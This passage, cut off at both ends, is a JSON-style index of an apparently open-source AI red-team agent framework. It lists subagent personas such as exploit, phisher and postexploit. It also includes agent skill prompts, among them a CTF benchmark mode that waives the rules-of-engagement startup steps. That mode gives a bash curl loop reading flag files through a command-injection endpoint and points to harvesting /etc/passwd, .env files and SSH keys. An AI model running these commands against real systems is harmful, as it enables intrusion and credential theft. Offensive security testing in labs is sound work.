`packages/decepticon/decepticon/agents/prompts/plugins/verifier.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/plugins/verifier.md)","tokens":300,"sizeBytes":254},{"name":"vulnresearch.md","path":"packages/decepticon/decepticon/agents/prompts/plugins/vulnresearch.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/plugins/vulnresearch.md","title":"Subagent: vulnresearch","category":"subagent-persona","format":"markdown","content":"# Subagent: vulnresearch\n\nPath: `packages/decepticon/decepticon/agents/prompts/plugins/vulnresearch.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/plugins/vulnresearch.md)","tokens":300,"sizeBytes":266},{"name":"ad_operator.md","path":"packages/decepticon/decepticon/agents/prompts/standard/ad_operator.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/ad_operator.md","title":"Subagent: ad_operator","category":"subagent-persona","format":"markdown","content":"# Subagent: ad_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/ad_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/ad_operator.md)","tokens":300,"sizeBytes":265},{"name":"analyst.md","path":"packages/decepticon/decepticon/agents/prompts/standard/analyst.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/analyst.md","title":"Subagent: analyst","category":"subagent-persona","format":"markdown","content":"# Subagent: analyst\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/analyst.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/analyst.md)","tokens":300,"sizeBytes":253},{"name":"blue_cell.md","path":"packages/decepticon/decepticon/agents/prompts/standard/blue_cell.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/blue_cell.md","title":"Subagent: blue_cell","category":"subagent-persona","format":"markdown","content":"# Subagent: blue_cell\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/blue_cell.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/blue_cell.md)","tokens":300,"sizeBytes":259},{"name":"cloud_hunter.md","path":"packages/decepticon/decepticon/agents/prompts/standard/cloud_hunter.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/cloud_hunter.md","title":"Subagent: cloud_hunter","category":"subagent-persona","format":"markdown","content":"# Subagent: cloud_hunter\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/cloud_hunter.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/cloud_hunter.md)","tokens":300,"sizeBytes":268},{"name":"contract_auditor.md","path":"packages/decepticon/decepticon/agents/prompts/standard/contract_auditor.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/contract_auditor.md","title":"Subagent: contract_auditor","category":"subagent-persona","format":"markdown","content":"# Subagent: contract_auditor\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/contract_auditor.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/contract_auditor.md)","tokens":300,"sizeBytes":280},{"name":"decepticon.md","path":"packages/decepticon/decepticon/agents/prompts/standard/decepticon.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/decepticon.md","title":"Subagent: decepticon","category":"subagent-persona","format":"markdown","content":"# Subagent: decepticon\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/decepticon.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/decepticon.md)","tokens":300,"sizeBytes":262},{"name":"exploit.md","path":"packages/decepticon/decepticon/agents/prompts/standard/exploit.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/exploit.md","title":"Subagent: exploit","category":"subagent-persona","format":"markdown","content":"# Subagent: exploit\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/exploit.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/exploit.md)","tokens":300,"sizeBytes":253},{"name":"forensicator.md","path":"packages/decepticon/decepticon/agents/prompts/standard/forensicator.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/forensicator.md","title":"Subagent: forensicator","category":"subagent-persona","format":"markdown","content":"# Subagent: forensicator\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/forensicator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/forensicator.md)","tokens":300,"sizeBytes":268},{"name":"ics_operator.md","path":"packages/decepticon/decepticon/agents/prompts/standard/ics_operator.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/ics_operator.md","title":"Subagent: ics_operator","category":"subagent-persona","format":"markdown","content":"# Subagent: ics_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/ics_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/ics_operator.md)","tokens":300,"sizeBytes":268},{"name":"iot_operator.md","path":"packages/decepticon/decepticon/agents/prompts/standard/iot_operator.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/iot_operator.md","title":"Subagent: iot_operator","category":"subagent-persona","format":"markdown","content":"# Subagent: iot_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/iot_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/iot_operator.md)","tokens":300,"sizeBytes":268},{"name":"mobile_operator.md","path":"packages/decepticon/decepticon/agents/prompts/standard/mobile_operator.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/mobile_operator.md","title":"Subagent: mobile_operator","category":"subagent-persona","format":"markdown","content":"# Subagent: mobile_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/mobile_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/mobile_operator.md)","tokens":300,"sizeBytes":277},{"name":"osint_operator.md","path":"packages/decepticon/decepticon/agents/prompts/standard/osint_operator.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/osint_operator.md","title":"Subagent: osint_operator","category":"subagent-persona","format":"markdown","content":"# Subagent: osint_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/osint_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/osint_operator.md)","tokens":300,"sizeBytes":274},{"name":"phisher.md","path":"packages/decepticon/decepticon/agents/prompts/standard/phisher.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/phisher.md","title":"Subagent: phisher","category":"subagent-persona","format":"markdown","content":"# Subagent: phisher\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/phisher.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/phisher.md)","tokens":300,"sizeBytes":253},{"name":"postexploit.md","path":"packages/decepticon/decepticon/agents/prompts/standard/postexploit.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/postexploit.md","title":"Subagent: postexploit","category":"subagent-persona","format":"markdown","content":"# Subagent: postexploit\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/postexploit.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/postexploit.md)","tokens":300,"sizeBytes":265},{"name":"recon.md","path":"packages/decepticon/decepticon/agents/prompts/standard/recon.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/recon.md","title":"Subagent: recon","category":"subagent-persona","format":"markdown","content":"# Subagent: recon\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/recon.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/recon.md)","tokens":300,"sizeBytes":247},{"name":"reverser.md","path":"packages/decepticon/decepticon/agents/prompts/standard/reverser.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/reverser.md","title":"Subagent: reverser","category":"subagent-persona","format":"markdown","content":"# Subagent: reverser\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/reverser.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/reverser.md)","tokens":300,"sizeBytes":256},{"name":"soundwave.md","path":"packages/decepticon/decepticon/agents/prompts/standard/soundwave.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/soundwave.md","title":"Subagent: soundwave","category":"subagent-persona","format":"markdown","content":"# Subagent: soundwave\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/soundwave.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/soundwave.md)","tokens":300,"sizeBytes":259},{"name":"supply_chain_operator.md","path":"packages/decepticon/decepticon/agents/prompts/standard/supply_chain_operator.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/supply_chain_operator.md","title":"Subagent: supply_chain_operator","category":"subagent-persona","format":"markdown","content":"# Subagent: supply_chain_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/supply_chain_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/supply_chain_operator.md)","tokens":300,"sizeBytes":295},{"name":"wireless_operator.md","path":"packages/decepticon/decepticon/agents/prompts/standard/wireless_operator.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/wireless_operator.md","title":"Subagent: wireless_operator","category":"subagent-persona","format":"markdown","content":"# Subagent: wireless_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/wireless_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/wireless_operator.md)","tokens":300,"sizeBytes":283},{"name":"decepticon.md","path":"packages/decepticon/decepticon/agents/prompts/workflows/decepticon.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/decepticon.md","title":"Subagent: decepticon","category":"subagent-persona","format":"markdown","content":"# Subagent: decepticon\n\nPath: `packages/decepticon/decepticon/agents/prompts/workflows/decepticon.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/decepticon.md)","tokens":300,"sizeBytes":264},{"name":"exploit.md","path":"packages/decepticon/decepticon/agents/prompts/workflows/exploit.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/exploit.md","title":"Subagent: exploit","category":"subagent-persona","format":"markdown","content":"# Subagent: exploit\n\nPath: `packages/decepticon/decepticon/agents/prompts/workflows/exploit.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/exploit.md)","tokens":300,"sizeBytes":255},{"name":"mobile_operator.md","path":"packages/decepticon/decepticon/agents/prompts/workflows/mobile_operator.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/mobile_operator.md","title":"Subagent: mobile_operator","category":"subagent-persona","format":"markdown","content":"# Subagent: mobile_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/workflows/mobile_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/mobile_operator.md)","tokens":300,"sizeBytes":279},{"name":"phisher.md","path":"packages/decepticon/decepticon/agents/prompts/workflows/phisher.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/phisher.md","title":"Subagent: phisher","category":"subagent-persona","format":"markdown","content":"# Subagent: phisher\n\nPath: `packages/decepticon/decepticon/agents/prompts/workflows/phisher.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/phisher.md)","tokens":300,"sizeBytes":255},{"name":"postexploit.md","path":"packages/decepticon/decepticon/agents/prompts/workflows/postexploit.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/postexploit.md","title":"Subagent: postexploit","category":"subagent-persona","format":"markdown","content":"# Subagent: postexploit\n\nPath: `packages/decepticon/decepticon/agents/prompts/workflows/postexploit.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/postexploit.md)","tokens":300,"sizeBytes":267},{"name":"recon.md","path":"packages/decepticon/decepticon/agents/prompts/workflows/recon.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/recon.md","title":"Subagent: recon","category":"subagent-persona","format":"markdown","content":"# Subagent: recon\n\nPath: `packages/decepticon/decepticon/agents/prompts/workflows/recon.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/recon.md)","tokens":300,"sizeBytes":249},{"name":"soundwave.md","path":"packages/decepticon/decepticon/agents/prompts/workflows/soundwave.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/soundwave.md","title":"Subagent: soundwave","category":"subagent-persona","format":"markdown","content":"# Subagent: soundwave\n\nPath: `packages/decepticon/decepticon/agents/prompts/workflows/soundwave.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/soundwave.md)","tokens":300,"sizeBytes":261},{"name":"wireless_operator.md","path":"packages/decepticon/decepticon/agents/prompts/workflows/wireless_operator.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/wireless_operator.md","title":"Subagent: wireless_operator","category":"subagent-persona","format":"markdown","content":"# Subagent: wireless_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/workflows/wireless_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/wireless_operator.md)","tokens":300,"sizeBytes":285}],"systemPromptSnippet":"\n\n# docs - AI Agent Protocol & Instructions\n\nPath: `docs/agents.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/docs/agents.md)\n\n\n# docs - Workspace Skills & Capabilities Index\n\nPath: `docs/skills.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/docs/skills.md)\n\n\n# docs - System Architecture & Module Boundaries\n\nPath: `docs/architecture.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/docs/architecture.md)\n\n\n# Tools Skill\n\nPath: `docs/tools/open-web.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/docs/tools/open-web.md)\n\n\n---\nname: decepticon\ndescription: \"Operate Decepticon OSS through its installed CLI and engagement MCP tools when the user asks to run or inspect an authorized security engagement or a local Blue Cell. Do not use for unrelated security questions or raw scanner commands.\"\nlicense: Apache-2.0\nmetadata:\n version: 2.1.0\n homepage: \"https://github.com/BitterSecurity/Decepticon\"\n---\n\n# Decepticon operator\n\nUse Decepticon as the user's security platform. The host `decepticon` command\nmanages the installation and opens an interactive CLI. The registered MCP\nserver exposes engagement control and observation to coding agents. These\ninterfaces cover different operations; choose the one that actually exists.\n\n## Connect\n\n1. Check `decepticon status`. If the installation is missing, the user can run\n `decepticon onboard`. `decepticon start` starts services and opens the\n interactive terminal; it is not a headless scan command.\n2. For MCP, confirm `decepticon_list_graphs` works. A connection error means\n the stack or MCP registration needs attention. See the\n [integration guide](https://github.com/BitterSecurity/Decepticon/blob/main/docs/integrations/external-agents.md) for\n Claude Code and Codex registration.\n3. The user can install this skill for both clients with\n `decepticon skill install` after a release containing that command.\n\n## Choose the operation\n\n| Request | Supported surface |\n|---|---|\n| Discover agents, list engagements, read status or a compact state summary | MCP `decepticon_list_graphs`, `decepticon_list_engagements`, `decepticon_engagement_status`, `decepticon_engagement_state` |\n| Watch an engagement | MCP `decepticon_transcript` with `next_index`; `decepticon_watch` for a bounded live sample |\n| Send a follow-up or stop a run | MCP `decepticon_send_message` or `decepticon_cancel_engagement` |\n| Onboard, start, stop, update, inspect services | Host `decepticon` command |\n| Start or stop a local Blue Cell sensor | Interactive CLI `/blue up`, `/blue stop` |\n| Inspect a running Blue Cell | MCP `decepticon_blue_status`, `decepticon_blue_sources`, `decepticon_blue_events`, `decepticon_blue_incidents`, `decepticon_blue_notifications`, `decepticon_blue_body`, `decepticon_blue_search`, `decepticon_blue_timeline`; interactive CLI `/blue verify` and `/blue analyze` |\n| List or toggle agent plugin bundles | MCP `decepticon_plugin_bundles`, `decepticon_plugin_enable`, `decepticon_plugin_disable`; interactive CLI `/plugins` |\n| Control web dashboard or select the active CLI agent | Interactive CLI `/web`, `/agent` |\n\nDo not invent MCP tools for Blue Cell setup or service\nmanagement. The slash commands above work inside Decepticon's interactive\nterminal, not in the shell or the MCP bridge.\n\n- Poll `decepticon_blue_events` with its `next_after` cursor and\n `decepticon_blue_notifications` with its separate `next_after` cursor.\n- Check `decepticon_blue_status` for collector and monitor health before\n interpreting missing events. Cite exact incident IDs and event sequences.\n\n## Engagement workflow\n\n- Obtain the user's explicit target scope and rules of engagement before any\n active testing. State both included and excluded assets. Do not infer\n authorization from a URL or repository path.\n- For an existing CLI engagement, call `decepticon_list_engagements`, identify\n its `thread_id`, then read `decepticon_engagement_state` and\n `decepticon_transcript`. Keep the returned `next_index` for later reads.\n- `decepticon_start_engagement` binds the run to a workspace via\n `workspace_path` (default `/workspace`). To share the workspace binding the\n interactive CLI selected, pass the same binding explicitly — the binding is\n returned in the result's `workspace_path` field. A non-default binding must\n be the engagement's own directory (final segment = `engagement_name`, e.g.\n `/workspace/`); anything else is rejected so one\n engagement's run cannot write into another engagement's workspace. The run\n still requires the workspace mapping on the server to exist and be\n authorized for that engagement; when in doubt, start the engagement in the\n interactive CLI and observe its thread through MCP.\n- Engagement `targets` are network assets (URLs, hosts, CIDRs, globs, git\n remotes). A local repository path is not a valid target — the standalone\n SAST/CI entry was removed (issue #1059); code analysis happens inside an\n engagement once the operation itself obtains the source, with the code\n mounted or fetched as part of that engagement's workflow.\n- `decepticon_send_message` queues a new turn behind an active run. Do not tell\n the user it changed the current execution until a subsequent transcript or\n state confirms the effect.\n- `decepticon_engagement_findings` reads a persisted `graph.json` only. An\n `available=false` result does not prove the absence of findings. For an\n installed CLI engagement, inspect the selected host workspace's\n `findings/FIND-*.md` and `report/` artifacts when available. Cite the\n actual artifact and verification status; do not invent a SARIF result.\n- If a run is interrupted or fails, read the latest transcript and status\n before retrying. Stop polling when the user has the requested update or\n the run reaches a terminal state.\n\nRead [reference.md](reference.md) for exact MCP arguments and\n[examples.md](examples.md) for CLI and MCP handoffs.\n\n\n# Sandbox_web Skill\n\nPath: `packages/decepticon/decepticon/sandbox_web/NOTICE.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/sandbox_web/NOTICE.md)\n\n\n# Templates Skill\n\nPath: `packages/decepticon/decepticon/sandbox_web/templates/package.json`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/sandbox_web/templates/package.json)\n\n\n# Sandbox_web Skill\n\nPath: `packages/decepticon/decepticon/sandbox_web/waf_profiles.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/sandbox_web/waf_profiles.yaml)\n\n\n# Skill_audit Skill\n\nPath: `packages/decepticon/decepticon/skill_audit/subdomains.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skill_audit/subdomains.yaml)\n\n\n# Seeds Skill\n\nPath: `packages/decepticon/decepticon/skillogy/builder/seeds/asset_types.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skillogy/builder/seeds/asset_types.yaml)\n\n\n# Seeds Skill\n\nPath: `packages/decepticon/decepticon/skillogy/builder/seeds/moc.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skillogy/builder/seeds/moc.yaml)\n\n\n# Seeds Skill\n\nPath: `packages/decepticon/decepticon/skillogy/builder/seeds/phases.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skillogy/builder/seeds/phases.yaml)\n\n\n---\nname: benchmark\ndescription: \"Benchmark mode marker — engagement objective is flag capture. Generic engagement rules apply unchanged.\"\nallowed-tools: Bash Read Write\nmetadata:\n subdomain: benchmark\n when_to_use: \"benchmark, ctf, challenge, flag capture\"\n tags: benchmark, ctf\n upstream_ref: \"XBOW validation-benchmarks + Decepticon CTF mode marker\"\n---\n\n# Benchmark Mode\n\nThe engagement objective is **flag capture**. Per-challenge context\n(target URL, vulnerability tags, flag format, mission brief, extra\nservice ports) is injected into the system message every model call by\n`EngagementContextMiddleware` — read it; do NOT duplicate it here, and\ndo NOT ask the operator for it.\n\n## Suspended CRITICAL_RULES under benchmark mode\n\n- Rule 8 (Startup Required) — flag IS the deliverable; no roe/conops/deconfliction.\n- Rule 9 (Final Report) — no executive summary; the flag string is the report.\n\nAll other CRITICAL_RULES remain active. Recon→exploit ordering, OPPLAN\ndiscipline, no-bash-in-orchestrator, tag routing, OPSEC, and budget\npacing live in their owning prompts/skills (see `decepticon.md` Rules\n20/22, the recon/exploit agent prompts, and `/skills/standard/exploit/web/SKILL.md`\nfor vuln routing).\n\n## SHORT-CIRCUIT — flag/credential found\n\nWhen a sub-agent (recon or exploit) returns a verified flag or\nflag-equivalent credential:\n\n1. Record the verified flag evidence on its active objective and mark it complete. Cancel remaining pending or blocked objectives through the injected OPPLAN workflow.\n2. Your VERY NEXT response is the final answer, re-echoing the flag\n VERBATIM in the format announced by the middleware (e.g.\n `Flag captured: FLAG{}`). The harness scans ONLY the\n orchestrator's final message — if the flag string lives only inside\n a sub-agent return, it is LOST.\n\n## Flag-path sweep (after RCE confirmed)\n\nGeneric skills under `/skills/standard/exploit/web/` (`command-injection/SKILL.md`, `cve/SKILL.md`, etc.) cover credential/secret extraction but intentionally exclude CTF flag conventions. Once any RCE primitive is confirmed (`id`, `hostname`, or arbitrary file read), run this single batched sweep — do NOT issue one curl per path:\n\n```bash\n# CTF flag-path conventions — XBOW / picoCTF / HackTheBox / TryHackMe overlap.\nfor f in /opt/flag.txt /flag /flag.txt /root/flag.txt /root/flag \\\n /home/*/flag.txt /home/*/flag /tmp/flag.txt /tmp/flag \\\n /var/www/flag.txt /var/www/html/flag.txt /srv/flag.txt /srv/flag; do\n result=$(curl -s \"http:///?cmd=cat+$f\" 2>/dev/null | head -5)\n [ -n \"$result\" ] && echo \"=== $f ===\" && echo \"$result\"\ndone | tee /tmp/flag_sweep.txt\nhead -50 /tmp/flag_sweep.txt\n\n# Broad flag-filename find (when path is non-standard)\ncurl -s \"http:///?cmd=find+/+-type+f+\\(-name+'flag*'-o+-name+'FLAG*'\\)+-not+-path+'/proc/*'+-not+-path+'/sys/*'+2>/dev/null\" \\\n -o /tmp/find_flag.txt\nhead -20 /tmp/find_flag.txt\n```\n\nReplace `` with the confirmed injection endpoint. If the flag's `format` (e.g. `FLAG{...}`, `flag{...}`, `CTF{...}`) was announced by the middleware, additionally grep the harvest for that prefix:\n\n```bash\ngrep -hoE '(FLAG|flag|CTF)\\{[^}]+\\}' /tmp/flag_sweep.txt /tmp/find_flag.txt | sort -u\n```\n\nThe generic credential harvest (`/etc/passwd`, `.env`, configs, SSH keys, secret/cred/token files) lives in `/skills/standard/exploit/web/command-injection/SKILL.md` — run BOTH sweeps post-RCE; flag-path first (objective), credential second (lateral).\n\n## Tag → Skill Routing Table (BENCHMARK FAST-PATH)\n\nBenchmark mode pre-declares `Vulnerability tags:` in the engagement context, leaking the\nchallenge's intended attack class. **In real engagements no such metadata exists** — agents\ndiscover the class through the domain router skill applied to recon's raw observations.\nThis table is the canonical fast-path for the benchmark shortcut and the **only** place\nthis mapping lives. Generic agent prompts (`recon.md`, `exploit.md`, `decepticon.md`)\nintentionally do not encode it — they route via the domain router skills\n(`/skills/standard/exploit//SKILL.md`) on observation evidence.\n\n**Consumer**: the orchestrator (`decepticon.md`). When dispatching exploit, the orchestrator\nmay consult this table to pick the matching sub-skill directly from the pre-declared tags,\nskipping the observation-based router classification. **Recon does NOT consume this table**\n— recon's role is observation, not classification or skill recommendation.\n\n| `Vulnerability tag` | `/skills/standard/exploit/web//SKILL.md` |\n|---|---|\n| `sqli` | `sqli.md` |\n| `blind_sqli` | `blind-sqli.md` (load with `sqli.md` when sqlmap+tamper is exhausted) |\n| `xss` | `xss.md` |\n| `ssti` | `ssti.md` |\n| `ssrf` | `ssrf.md` |\n| `xxe` | `xxe.md` |\n| `lfi` | `lfi.md` |\n| `path_traversal` | `lfi.md` |\n| `command_injection` | `command-injection.md` |\n| `insecure_deserialization` | `deserialization.md` |\n| `idor` | `idor.md` |\n| `arbitrary_file_upload` | `file-upload.md` |\n| `file_upload` | `file-upload.md` |\n| `graphql` | `graphql.md` |\n| `race_condition` | `race-condition.md` |\n| `smuggling` | `smuggling.md` |\n| `crypto` | `crypto.md` |\n| `business_logic` | `business-logic.md` |\n| `default_credentials` | `business-logic.md` |\n| `jwt` | `business-logic.md` (no dedicated file) |\n| `cve` | `cve.md` |\n\nFor multiple tags → emit one `REQUIRED SKILL LOAD:` line per mapped skill.\n\n## What this skill is NOT\n\n- vulnerability routing → `/skills/standard/exploit/{web,ad}/SKILL.md`\n- recon playbooks → `/skills/standard/recon//SKILL.md`\n- OPSEC → `/skills/shared/opsec/SKILL.md`\n- per-challenge context → middleware-injected, every turn\n- agent-specific behavior → that agent's prompt and `/skills//`\n\n\n# detector\n\nPath: `packages/decepticon/decepticon/skills/plugins/detector/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/detector/SKILL.md)\n\n\n# exploiter\n\nPath: `packages/decepticon/decepticon/skills/plugins/exploiter/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/exploiter/SKILL.md)\n\n\n# llm-redteam\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/SKILL.md`\n\n[View Raw Content on 